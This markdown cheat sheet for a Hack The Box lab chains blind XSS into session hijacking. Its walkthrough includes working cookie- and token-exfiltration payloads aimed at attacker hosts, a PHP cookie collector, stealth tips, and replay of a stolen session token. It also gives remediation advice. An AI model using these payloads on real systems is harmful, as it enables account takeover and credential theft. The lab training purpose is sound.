blind-xss-to-session-hijacking.md (27509B)
1 --- 2 title: "Blind XSS to Session Hijacking" 3 description: "Chaining blind XSS to session hijacking: out-of-band callbacks, cookie/session theft, exfiltration and account takeover." 4 category: web 5 tags: ["web", "xss", "session-hijacking"] 6 tools: [] 7 difficulty: advanced 8 updated: "2026-08-28" 9 source: "vault:Web/Blind XSS to Session Hijacking - HTB Cheat Sheet.md" 10 --- 11 # Blind XSS to Session Hijacking — HTB Cheat Sheet 12 13 ## Summary 14 15 Blind cross-site scripting is stored XSS that fires inside an interface you never see, most often a support agent or administrator panel that renders attacker-controlled input. Because the execution happens out of band, you confirm it with a callback rather than a visible alert. The reliable Hack The Box chain is to inject a probe that phones home, prove the payload runs, upgrade it to a two-file collector that exfiltrates `document.cookie`, capture the victim's session token, then replay that token with a cookie editor to inherit the victim's authenticated session. This note is the field-ready version of the support.inlanefreight.local ticket walkthrough, generalised so any blind-XSS-to-hijack path can be reproduced from it. It complements Cross-Site Scripting (XSS) - HTB Cheat Sheet, which covers reflected, stored, and DOM contexts more broadly. 16 17 > [!danger]+ Authorisation Boundary 18 > 19 > 1. Run these procedures only against **Hack The Box**, intentionally vulnerable labs, or systems you own and are explicitly authorised to test. 20 > 2. A captured session cookie is live credential material. Treat it as such, use lab-only collector infrastructure, and delete `cookies.txt` and any stored tokens when the exercise ends. 21 > 3. Hijacking a real user's session without authorisation is unauthorised access under laws such as the UK Computer Misuse Act. Keep it in the lab. 22 > 4. XSS executes inside a browser. It does **not** by itself give you an operating-system shell on the target. 23 24 --- 25 26 ## The Attack Chain 27 28 *Figure 1: The full out-of-band chain, from ticket injection to cookie replay. Attacker actions on the left, the unseen victim agent on the right.* 29 30 | Stage | You do | What it proves | 31 |---|---|---| 32 | 1. Inject | Drop a callback probe into a stored field an agent will read | The field reaches a privileged renderer | 33 | 2. Confirm | Catch the out-of-band hit on your listener | Blind XSS executes somewhere you cannot see | 34 | 3. Collect | Serve a collector that reads `document.cookie` | You have infrastructure to receive the token | 35 | 4. Exfiltrate | Agent's browser sends its cookie to your host | The session token is now in your log | 36 | 5. Hijack | Load the token with Cookie-Editor and refresh | You are authenticated as the victim | 37 38 --- 39 40 ## Conceptual Information 41 42 > [!info]+ Why It Is Called "Blind" 43 > 44 > 1. **Blind** means the injection point and the execution point are different surfaces. You submit into a customer ticket, the payload runs later inside the staff console. 45 > 2. You never see the resulting DOM directly, only the side effect: an inbound request to infrastructure you control. 46 > 3. This is why detection is **out-of-band (OOB)**. The proof is a network callback, not an on-screen `alert()`. 47 > 4. Classic sinks: support and contact tickets, admin user lists, log viewers, moderation queues, exported reports, and any "an internal user will review this" workflow. 48 49 > [!info]+ Why the Cookie Is Enough 50 > 51 > 1. Session cookies are bearer tokens. Whoever presents a valid `session=` value is treated as that user until it expires or is revoked. 52 > 2. If the cookie is **not** marked `HttpOnly`, JavaScript can read it via `document.cookie`, which is exactly what blind XSS gives you. 53 > 3. Replaying the token needs no password and bypasses MFA, because MFA is evaluated at login, not on every request. 54 > 4. See [Session hijacking](https://owasp.org/www-community/attacks/Session_hijacking_attack) and [MITRE ATT&CK T1539 — Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539/). 55 56 > [!tip]+ Fast Chain Overview 57 > 58 > 1. **Probe** with `nc` to prove OOB execution before building anything heavy. 59 > 2. **Upgrade** to `script.js` + `index.php` so you capture the token, not just a ping. 60 > 3. **Use `new Image().src`** for exfiltration so the request is fire-and-forget and does not need a visible element. 61 > 4. **Hijack** with Cookie-Editor rather than crafting raw requests, because it is faster and survives redirects. 62 63 --- 64 65 ## Tools Overview 66 67 > [!info]+ [Netcat](https://man.openbsd.org/nc.1) Overview 68 > 69 > 1. Minimal TCP listener used as a first, disposable OOB catcher. 70 > 2. Proves that an injected resource was requested, confirming blind execution. 71 > 3. Does not return a valid HTTP response, so the victim browser may hang, which is why it is only a first probe. 72 73 > [!info]+ [PHP Built-in Server](https://www.php.net/manual/en/features.commandline.webserver.php) Overview 74 > 75 > 1. `php -S` gives a quick, disposable web server with no Apache or Nginx setup. 76 > 2. It can execute `index.php`, letting you log captured cookies to a file server-side. 77 > 3. Ideal for a short-lived two-file collector that both serves the payload and records the loot. 78 79 > [!info]+ [Cookie-Editor](https://cookie-editor.com/) Overview 80 > 81 > 1. Browser extension for viewing, adding, editing, and deleting cookies for the current site. 82 > 2. Used to inject the stolen `session` value into your own browser to hijack the session. 83 > 3. Handles the domain, path, and flags for you, which is faster than scripting `Set-Cookie` by hand. 84 85 > [!info]+ [Interactsh](https://github.com/projectdiscovery/interactsh) Overview 86 > 87 > 1. Hosted OOB interaction service that catches DNS, HTTP, and SMTP callbacks. 88 > 2. Gives a persistent record of every interaction with far less setup than self-hosting `nc` or `php -S`. 89 > 3. Best when running many blind-injection tests across a large scope at once. See Blind XSS Tool - Interactsh. 90 91 > [!info]+ [Burp Suite](https://portswigger.net/burp/documentation) Overview 92 > 93 > 1. Burp Collaborator is the commercial equivalent of Interactsh, integrated into the scanner and Repeater. 94 > 2. Repeater lets you resubmit the injection one controlled change at a time. 95 > 3. Useful when the ticket form needs authentication, CSRF tokens, or multi-step submission. 96 97 --- 98 99 ## Commands and Implementation 100 101 ### 1. Confirm Blind XSS with a Simple Listener 102 103 Inject a script include that points at a listener you control, then watch for the hit. 104 105 ```html 106 "><script src=http://10.10.14.213:9000/TESTING_THIS</script> 107 ``` 108 109 ```bash 110 nc -lvnp 9000 111 112 listening on [any] 9000 ... 113 connect to [10.10.14.213] from (UNKNOWN) [10.129.203.101] 56202 114 GET /TESTING_THIS%3C/script HTTP/1.1 115 Host: 10.10.14.213:9000 116 User-Agent: HTBXSS/1.0 117 ``` 118 119 > [!info]+ Command Breakdown 120 > 121 > 1. **`">`**: Breaks out of the current HTML attribute or tag context so the `<script>` is parsed as markup. 122 > 2. **`<script src=...>`**: Loads a remote script, so any render of the ticket triggers a request to your host. 123 > 3. **`nc -lvnp 9000`**: Listen (`-l`), verbose (`-v`), no DNS (`-n`), on port (`-p`) `9000`. 124 > 4. **The callback**: The inbound `GET` from `10.129.203.101` (the victim) proves the payload executed somewhere out of band. This is the blind XSS hit. 125 > 5. *Interpretation: confirmation only. The listener proves execution but does not yet give you anything useful. Note the `User-Agent: HTBXSS/1.0` and the `%3C` — the browser URL-encoded the `<` of your closing tag.* 126 127 > [!warning]+ The Closing-Tag Gotcha 128 > 129 > 1. `nc` does not return a valid HTTP response, so `<script src>` may error and the browser can hang. 130 > 2. The `%3C/script` in the log shows the parser mangled the closing tag. For reliable execution and clean exfiltration, prefer a real server and an `Image()`-based payload (below). 131 > 3. Treat this step as a smoke test, then immediately upgrade to the collector. 132 133 ### 2. Build the Two-File Cookie Collector 134 135 Create `index.php` to log incoming cookies server-side. 136 137 ```php 138 <?php 139 if (isset($_GET['c'])) { 140 $list = explode(";", $_GET['c']); 141 foreach ($list as $key => $value) { 142 $cookie = urldecode($value); 143 $file = fopen("cookies.txt", "a+"); 144 fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n"); 145 fclose($file); 146 } 147 } 148 ?> 149 ``` 150 151 Create `script.js` to grab and exfiltrate the cookie from the victim's browser. 152 153 ```javascript 154 new Image().src='http://10.10.14.213:9200/index.php?c='+document.cookie 155 ``` 156 157 > [!info]+ Collector Breakdown 158 > 159 > 1. **`$_GET['c']`**: The cookie string arrives in the `c` query parameter set by `script.js`. 160 > 2. **`explode(";", ...)`**: Splits multiple cookies so each is logged on its own line. 161 > 3. **`urldecode(...)`**: Reverses the URL encoding the browser applied in transit. 162 > 4. **`fputs(... "a+")`**: Appends `Victim IP | Cookie` to `cookies.txt` so repeat hits accumulate. 163 > 5. **`new Image().src=...`**: Creates an off-DOM image whose source is your collector plus the cookie. The browser fires the request immediately with no visible element and no user interaction. 164 > 6. *Interpretation: `script.js` runs in the victim, `index.php` records the result on your host. Two files, one clean capture.* 165 166 ### 3. Serve the Collector 167 168 ```bash 169 sudo php -S 0.0.0.0:9200 170 ``` 171 172 > [!info]+ Command Breakdown 173 > 174 > 1. **`sudo`**: Binding low ports or writing `cookies.txt` in a root-owned path may need elevation. Ports above 1024 usually do not, so drop `sudo` where you can. 175 > 2. **`-S 0.0.0.0:9200`**: Starts the built-in server on all interfaces, port `9200`, so the HTB VPN interface is reachable. 176 > 3. **`0.0.0.0`**: Listens on every local interface, including `tun0`. Binding to `127.0.0.1` would make the target unable to reach you. 177 > 4. *Keep the shell open. Every callback is printed live and appended to `cookies.txt`.* 178 179 ### 4. Inject the Upgraded Payload and Capture the Cookie 180 181 ```html 182 "><script src=http://10.10.14.213:9200/script.js></script> 183 ``` 184 185 ```bash 186 sudo php -S 0.0.0.0:9200 187 188 [Tue Jun 21 00:33:27 2022] PHP 7.4.28 Development Server (http://0.0.0.0:9200) started 189 [Tue Jun 21 00:33:42 2022] 10.129.203.101:40102 Accepted 190 [Tue Jun 21 00:33:42 2022] 10.129.203.101:40102 [200]: (null) /script.js 191 [Tue Jun 21 00:33:43 2022] 10.129.203.101:40104 [500]: GET /index.php?c=session=fcfaf93ab169bc943b92109f0a845d99 192 ``` 193 194 > [!success]+ What the Log Shows 195 > 196 > 1. **` /script.js`**: The victim's browser fetched your exfiltration script. Execution confirmed. 197 > 2. **`GET /index.php?c=session=fcfaf93ab169...`**: The follow-up request carries the agent's live `session` cookie. This is the loot. 198 > 3. **The ``**: `index.php` may error after logging (for example on a missing response), which is harmless — check `cookies.txt`, the value is already written. 199 > 4. *You now hold `session=fcfaf93ab169bc943b92109f0a845d99`, exactly what is needed to impersonate that session.* 200 201 ```bash 202 cat cookies.txt 203 Victim IP: 10.129.203.101 | Cookie: session=fcfaf93ab169bc943b92109f0a845d99 204 ``` 205 206 ### 5. Hijack the Session with Cookie-Editor 207 208 > [!example]+ Session Replay Steps 209 > 210 > 1. Browse to the target application in your own browser and open **Cookie-Editor** from the toolbar. 211 > 2. Find or create the `session` cookie for the target domain. 212 > 3. Paste the stolen value `fcfaf93ab169bc943b92109f0a845d99` into the cookie's value field and save. 213 > 4. Match the original `Domain`, `Path` (usually `/`), and flags where the app is strict about them. 214 > 5. **Refresh the page.** The application now treats you as the victim, dropping you into their authenticated session with no password and no MFA prompt. 215 216 > [!tip]+ Command-Line Alternative 217 > 218 > 1. If you prefer curl, replay the token directly: `curl -b "session=fcfaf93ab169bc943b92109f0a845d99" http://TARGET/admin/`. 219 > 2. Cookie-Editor is usually faster on HTB because it survives client-side redirects and renders the authenticated UI for screenshots. 220 221 ### 6. Optional — Hosted OOB Catcher with Interactsh 222 223 For large scopes, swap the self-hosted listener for a hosted catcher that keeps a persistent log. 224 225 ```bash 226 interactsh-client -v 227 ``` 228 229 > [!info]+ Command Breakdown 230 > 231 > 1. Generates a unique `*.oast.fun` (or self-hosted) domain that catches DNS, HTTP, and SMTP callbacks. 232 > 2. Inject with the generated host, for example `"><script src=https://YOURID.oast.fun/x.js></script>`. 233 > 3. Every interaction is timestamped and correlated, which beats scrolling `nc` output when many payloads are in flight. 234 > 4. *Burp Collaborator is the equivalent inside Burp Suite. See Blind XSS Tool - Interactsh.* 235 236 ### 7. PayloadsAllTheThings Payload Variants 237 238 The [PayloadsAllTheThings XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md) README, under **Proof of Concept and Data Grabber**, is the canonical payload reference for this chain. It hands you the one-liners and the same `grabber.php` idea, but it is a payload dump, not a walkthrough, so the steps above are how you actually run them. The variants below all map onto stages 1, 2, and 4 of this note. 239 240 ```html 241 <!-- Remote-script includes (stage 1/4): pull your collector from an external host --> 242 "><script src="https://js.rip/[ATTACKER.DOMAIN.TLD]"></script> 243 "><script src=//[ATTACKER.DOMAIN.TLD]></script> 244 <script>$.getScript("//[ATTACKER.DOMAIN.TLD]")</script> 245 246 <!-- Fire-and-forget image beacon (preferred): no visible element, no interaction --> 247 <script>new Image().src="http://[ATTACKER.DOMAIN.TLD]/cookie.php?c="+document.cookie;</script> 248 249 <!-- localStorage bearer-token theft: use when the session lives in a JWT, not a cookie --> 250 <script>new Image().src="http://[ATTACKER.DOMAIN.TLD]/cookie.php?c="+localStorage.getItem('access_token');</script> 251 252 <!-- Navigation-based exfil (louder, redirects the victim away): fallback only --> 253 <script>document.location='http://[ATTACKER.DOMAIN.TLD]/grabber.php?c='+document.cookie</script> 254 255 <!-- fetch() POST exfil (stealthiest): cookie rides the body, stays out of access logs --> 256 <script> 257 fetch('https://[ATTACKER.DOMAIN.TLD]', { method: 'POST', mode: 'no-cors', body: document.cookie }); 258 </script> 259 ``` 260 261 > [!info]+ Variant Breakdown 262 > 263 > 1. **Remote-script includes**: `js.rip`, protocol-relative `//host`, and jQuery `$.getScript()` are three ways to load your collector. Use protocol-relative when the target is HTTPS so the include is not blocked as mixed content. 264 > 2. **`new Image().src`**: The preferred exfil. Off-DOM, fires instantly, no user interaction, matches stage 4 of this note. 265 > 3. **`localStorage.getItem('access_token')`**: Many modern apps store a JWT or bearer token in `localStorage` rather than a cookie. When `document.cookie` comes back empty because of `HttpOnly`, this often still works and the token is just as good for hijacking. 266 > 4. **`document.location='...'`**: Works, but navigates the victim's browser away from the page, which is noisy and can alert the agent. Treat it as a fallback. 267 > 5. **`fetch(..., {method:'POST', mode:'no-cors', body: document.cookie})`**: The stealthiest option. The cookie travels in the POST body instead of the URL query string, so it never lands in server access logs. `no-cors` lets the request fire cross-origin without a preflight. 268 > 6. *All of these need a collector listening. Point them at the `php -S` server from step 3, or at one of the platforms below.* 269 270 > [!tip]+ Matching Grabber for the PATT Payloads 271 > 272 > 1. PayloadsAllTheThings ships this minimal grabber, functionally the same as the `index.php` in step 2: 273 > ```php 274 > <?php 275 > $cookie = $_GET['c']; 276 > $fp = fopen('cookies.txt', 'a+'); 277 > fwrite($fp, 'Cookie:' .$cookie."\r\n"); 278 > fclose($fp); 279 > ?> 280 > ``` 281 > 2. Serve it with `php -S` as in step 3, or with PATT's Ruby one-liner: `ruby -run -ehttpd . -p8080`. 282 > 3. For `fetch()` POST exfil, read `php://input` instead of `$_GET['c']` because the cookie arrives in the request body. 283 284 --- 285 286 ## Blind XSS Collector Platforms 287 288 The `nc` and `php -S` collectors above are perfect for a single HTB ticket. For anything larger, or when you want screenshots, the rendered DOM, the victim IP, and the referring page captured automatically, use a dedicated blind XSS platform. This is where the tool the question asked about, XSS Hunter Express, fits, along with its successors. 289 290 > [!warning]+ XSS Hunter Express Is Archived 291 > 292 > 1. The original hosted `xsshunter.com` service shut down in 2023. 293 > 2. The self-hosted [xsshunter-express](https://github.com/adamjsturge/xsshunter-express) was archived on 22 April 2024 and is read-only. It still runs, but it is built on end-of-life Node 12, so it is not the one to start a fresh setup on. 294 > 3. The maintained successor is [xsshunter-go](https://github.com/adamjsturge/xsshunter-go), a Go rewrite by the same author. For a full-featured PHP option, [ezXSS](https://github.com/why/ezXSS) is the current community favourite. 295 > 4. *Recommendation: reach for **ezXSS** or **xsshunter-go** for a new self-hosted collector, and keep **Interactsh** or **Burp Collaborator** for lightweight OOB confirmation.* 296 297 | Tool | Type | Screenshots + DOM | Setup weight | Use it when | 298 |---|---|---|---|---| 299 | `nc` / `php -S` | Manual collector | No | Trivial | A single HTB ticket, quick confirm and grab | 300 | [Interactsh](https://github.com/projectdiscovery/interactsh) | Hosted OOB catcher | No | None (client only) | Confirming execution across many payloads | 301 | Burp Collaborator | OOB catcher | No | Burp Pro | You already live in Burp | 302 | [ezXSS](https://github.com/why/ezXSS) | Self-hosted platform | Yes | Medium (PHP + MySQL) | Rich reports, screenshots, `localStorage`, non-HttpOnly cookies | 303 | [xsshunter-go](https://github.com/adamjsturge/xsshunter-go) | Self-hosted platform | Yes | Low (single Docker) | Maintained XSS Hunter successor, simplest full platform | 304 | [xsshunter-express](https://github.com/adamjsturge/xsshunter-express) | Self-hosted (archived) | Yes | Medium (Docker) | Legacy only, prefer xsshunter-go | 305 306 ### Recommended — ezXSS Setup 307 308 [ezXSS](https://github.com/why/ezXSS) is a self-hosted PHP platform that captures full-page screenshots, the page DOM, the origin and referrer, the victim IP and user agent, and all non-HttpOnly cookies, presented in a searchable dashboard. It is the most feature-complete self-hosted option in active development. 309 310 > [!important]+ Prerequisites 311 > 312 > 1. A web server with PHP and a MySQL or MariaDB database, or Docker. 313 > 2. A domain or subdomain you control pointing at the server, ideally short so payloads stay compact. 314 > 3. TLS on that domain, because HTTPS targets will refuse an HTTP callback as mixed content. 315 316 ```bash 317 # Docker path (fastest) 318 git clone https://github.com/why/ezXSS.git 319 cd ezXSS 320 docker compose up -d 321 # then browse to https://YOURDOMAIN/manage/ and complete the installer 322 ``` 323 324 > [!info]+ Setup Breakdown 325 > 326 > 1. **Clone and start**: `docker compose up -d` brings up the app and its database. 327 > 2. **Installer**: Visit `/manage/` on first run to set your admin password and alert email, then delete or lock the installer as prompted. 328 > 3. **Manual alternative**: Drop the files in your web root, create a MySQL database, set the credentials in `/src/Configuration.php`, run the installer at `/manage/`, then remove it. 329 > 4. **DNS + TLS**: Point an `A` record at the box and terminate HTTPS (Let's Encrypt via a reverse proxy such as Caddy or Traefik is simplest). 330 > 5. *After setup, the dashboard generates your payloads. See your fuller notes at Blind XSS Tool - ezXSS.* 331 332 > [!example]+ Using ezXSS 333 > 334 > 1. In the dashboard, copy a generated payload, for example `"><script src=https://YOURDOMAIN/PAYLOADID></script>`. 335 > 2. Inject it into the stored field exactly as in step 1 of this note. 336 > 3. When the agent renders it, ezXSS records a report with the screenshot, DOM, cookies, and `localStorage`. 337 > 4. Lift the session cookie or bearer token from the report and hijack with Cookie-Editor as in step 5. 338 339 ### Alternative — xsshunter-go Setup 340 341 [xsshunter-go](https://github.com/adamjsturge/xsshunter-go) is the maintained successor to XSS Hunter Express, deployed as a single Docker container with SQLite by default. 342 343 ```yaml 344 # docker-compose.yaml (minimal) 345 services: 346 xsshunter: 347 image: adamjsturge/xsshunter-go:latest 348 ports: 349 - "1449:1449" 350 environment: 351 - CONTROL_PANEL_ENABLED=true 352 - DOMAIN=https://xss.YOURDOMAIN.tld 353 volumes: 354 - ./db:/app/db/ 355 - ./screenshots:/app/screenshots/ 356 ``` 357 358 ```bash 359 docker compose up -d 360 ``` 361 362 > [!info]+ Setup Breakdown 363 > 364 > 1. **`DOMAIN`**: The hostname baked into generated payloads. Point DNS at the server and terminate TLS in front of it. 365 > 2. **`CONTROL_PANEL_ENABLED`**: Turns on the admin dashboard where you read reports and copy payloads. 366 > 3. **TLS**: The README ships a Traefik plus Let's Encrypt example for automatic HTTPS. A reverse proxy handles certificates cleanly. 367 > 4. **Storage**: SQLite by default, or set `DATABASE_URL` for PostgreSQL. Screenshots persist in the mounted volume. 368 > 5. **Notifications**: `NOTIFY` supports Discord, Slack, and Telegram via shoutrrr, so a fired payload pings you. 369 > 6. *Inject and hijack exactly as with ezXSS. Cross-reference Blind XSS Tool - XSS Hunter.* 370 371 --- 372 373 ## What to Watch Out For 374 375 | Symptom | What it means | Next step | 376 |---|---|---| 377 | Callback never arrives | Field is not rendered by a privileged user, or egress is blocked | Try other stored fields, wait for scheduled review jobs, confirm your host is VPN-reachable | 378 | `nc` hit but `script.js` never loads | `nc` returned no valid HTTP response, browser aborted | Switch to `php -S` so a real `200` is returned | 379 | `%3C/script` in the log | Browser URL-encoded the closing tag | Use `new Image().src` exfiltration instead of `<script src>` closing tags | 380 | Cookie captured but hijack fails | Cookie may be `HttpOnly`, `Secure`, path-scoped, or `SameSite` bound | `HttpOnly` blocks `document.cookie` entirely; look for a non-HttpOnly token or a different attack | 381 | `document.cookie` is empty | The useful cookie is `HttpOnly`, or none is set on that path | Inspect cookie attributes; blind XSS can still perform actions as the victim even without token theft | 382 | Hijack works then drops | Server rotated or idle-expired the session | Recapture a fresh token, act quickly | 383 384 > [!warning]+ HttpOnly Is the Main Blocker 385 > 386 > 1. `document.cookie` cannot read cookies flagged `HttpOnly`. An empty capture does **not** mean XSS failed. 387 > 2. When the session cookie is `HttpOnly`, pivot to XSS-driven actions (change email, create an admin, perform a request as the victim) rather than token theft. 388 > 3. Mixed content also bites: an HTTPS target may block an HTTP collector. Use an HTTPS catcher for HTTPS victims. 389 390 --- 391 392 ## Troubleshooting 393 394 > [!failure]+ No Callback At All 395 > 396 > 1. Open your own collector URL from the HTB browser to confirm DNS, routing, and that the listener is on the `tun0`-reachable interface. 397 > 2. Confirm the injected field is actually reviewed by staff or a background job, and give scheduled jobs time to run. 398 > 3. Try a plain `<img src=http://YOU/probe>` before a `<script src>` to separate "reaches the renderer" from "executes script". 399 400 > [!failure]+ Script Loads but No Cookie Arrives 401 > 402 > 1. Verify `script.js` uses `document.cookie` and points at the right host and port. 403 > 2. Check the target's Content-Security-Policy for `connect-src`/`img-src` limits in the browser console. 404 > 3. The session cookie is almost certainly `HttpOnly`. Confirm in devtools and switch to an action-based payload. 405 406 > [!failure]+ Cookie Replays but Session Is Not Authenticated 407 > 408 > 1. Confirm the cookie name is exact (`session`, `PHPSESSID`, `connect.sid`, and so on). 409 > 2. Match `Domain` and `Path` precisely in Cookie-Editor. 410 > 3. Some apps bind the session to a user-agent or IP fingerprint; align your request or accept that theft is mitigated. 411 412 --- 413 414 ## Remediation 415 416 1. **Encode on output for the exact context** so stored input in the agent view is rendered as text, not markup. This is the root fix. 417 2. **Set `HttpOnly` on session cookies** so `document.cookie` cannot read them, defeating token exfiltration. 418 3. **Set `Secure` and a strict `SameSite`** to limit where cookies travel and reduce replay surface. 419 4. **Bind sessions to context** (rotate on privilege change, tie to a fingerprint, enforce idle and absolute timeouts) so a stolen token has a short useful life. 420 5. **Deploy a Content-Security-Policy** with `script-src` nonces or hashes and no `unsafe-inline` to block injected and remote scripts. 421 6. **Sanitise stored HTML** with a maintained allowlist library such as DOMPurify, and do not mutate the result afterwards. 422 7. **Restrict outbound egress** from staff consoles so exfiltration callbacks cannot leave the network. 423 8. **Enable Trusted Types** where supported to lock down dangerous DOM sinks in the admin interface. 424 425 --- 426 427 ## Evidence and Reporting Checklist 428 429 1. Record the injection point (URL, method, field) and the account and role that rendered the payload. 430 2. Save the exact injected payload, the collector source, and the raw callback log line. 431 3. Capture `cookies.txt` (redacted as policy requires) showing the stolen token and victim IP. 432 4. Screenshot the authenticated session after replay to prove impact, not just execution. 433 5. State clearly whether the cookie was `HttpOnly` and how that affected the outcome. 434 6. Delete `cookies.txt`, stored payloads, and any replayed tokens when the engagement ends. 435 436 --- 437 438 ## Lessons Learned 439 440 1. **Confirmation and impact are separate claims.** A `nc` callback proves blind execution; only a captured, replayed cookie proves session hijack. Report them distinctly. 441 2. **`new Image().src` beats a closing `<script>` tag** for exfiltration, because it is fire-and-forget and avoids the URL-encoding and hang problems seen with `nc`. 442 3. **`php -S` is the sweet spot** for a lab collector: it both serves the payload and runs `index.php` to log the loot, with zero Apache setup. 443 4. **`HttpOnly` is the single control that most often kills this chain.** When token theft fails, pivot to performing actions as the victim instead of stealing the cookie. 444 5. **Hosted catchers scale.** For wide scopes, Interactsh or Burp Collaborator replace a wall of `nc` windows with one correlated, timestamped log. 445 446 --- 447 448 ## References 449 450 1. [OWASP — Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) 451 2. [OWASP — Session hijacking attack](https://owasp.org/www-community/attacks/Session_hijacking_attack) 452 3. [PortSwigger — Exploiting cross-site scripting to steal cookies](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies) 453 4. [MITRE ATT&CK T1539 — Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539/) 454 5. [MDN — Set-Cookie: HttpOnly and Secure](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) 455 6. [PHP — Built-in web server](https://www.php.net/manual/en/features.commandline.webserver.php) 456 7. [PayloadsAllTheThings — XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md) 457 8. [ezXSS](https://github.com/why/ezXSS) 458 9. [xsshunter-go](https://github.com/adamjsturge/xsshunter-go) 459 10. [xsshunter-express (archived)](https://github.com/adamjsturge/xsshunter-express) 460 11. [Interactsh](https://github.com/projectdiscovery/interactsh) 461 12. [Cookie-Editor](https://cookie-editor.com/) 462 13. Cross-Site Scripting (XSS) - HTB Cheat Sheet 463 14. Blind XSS Tool - Interactsh 464 15. Blind XSS Tool - ezXSS 465 16. Blind XSS Tool - XSS Hunter